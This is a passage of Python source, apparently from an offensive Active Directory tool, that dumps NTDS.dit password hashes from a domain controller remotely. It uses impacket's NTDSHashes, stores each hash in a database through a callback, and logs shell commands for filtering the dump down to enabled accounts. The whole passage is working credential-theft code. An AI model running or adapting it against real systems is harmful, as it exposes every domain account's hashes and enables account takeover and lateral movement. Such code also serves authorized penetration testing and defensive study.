# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
# We don't store the resume file if this error happened, since this error is related to lack
|
|
# of enough privileges to access DRSUAPI.
|
|
# resumeFile = NTDS.getResumeSessionFile()
|
|
# if resumeFile is not None:
|
|
# os.unlink(resumeFile)
|
|
self.logger.error(e)
|
|
|
|
NTDS = NTDSHashes(
|
|
NTDSFileName,
|
|
self.bootkey,
|
|
isRemote=True,
|
|
history=False,
|
|
noLMHash=True,
|
|
remoteOps=self.remote_ops,
|
|
useVSSMethod=use_vss_method,
|
|
justNTLM=True,
|
|
pwdLastSet=False,
|
|
resumeSession=None,
|
|
outputFileName=self.output_filename,
|
|
justUser=self.args.userntds if self.args.userntds else None,
|
|
printUserStatus=True,
|
|
perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id)
|
|
)
|
|
|
|
try:
|
|
self.logger.info('Dumping the NTDS, this could take a while so go grab a redbull...')
|
|
NTDS.dump()
|
|
self.logger.info('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(
|
|
highlight(add_ntds_hash.ntds_hashes),
|
|
self.output_filename + '.ntds',
|
|
highlight(add_ntds_hash.added_to_db)
|
|
))
|
|
self.logger.info("To extract only enabled accounts from the output file, run the following command: ")
|
|
self.logger.info(f"cat {self.output_filename + '.ntds'} | grep -iv disabled | cut -d ':' -f1")
|
|
self.logger.info(f"grep -iv disabled {self.output_filename + '.ntds'} | cut -d ':' -f1")
|
|
except Exception as e:
|
|
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
# We don't store the resume file if this error happened, since this error is related to lack
|
|
# of enough privileges to access DRSUAPI.
|
|
# resumeFile = NTDS.getResumeSessionFile()
|
|
# if resumeFile is not None:
|
|
# os.unlink(resumeFile)
|
|
self.logger.error(e)
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
logging.debug(f"Error calling remote_ops.finish(): {e}")
|
|
NTDS.finish()
|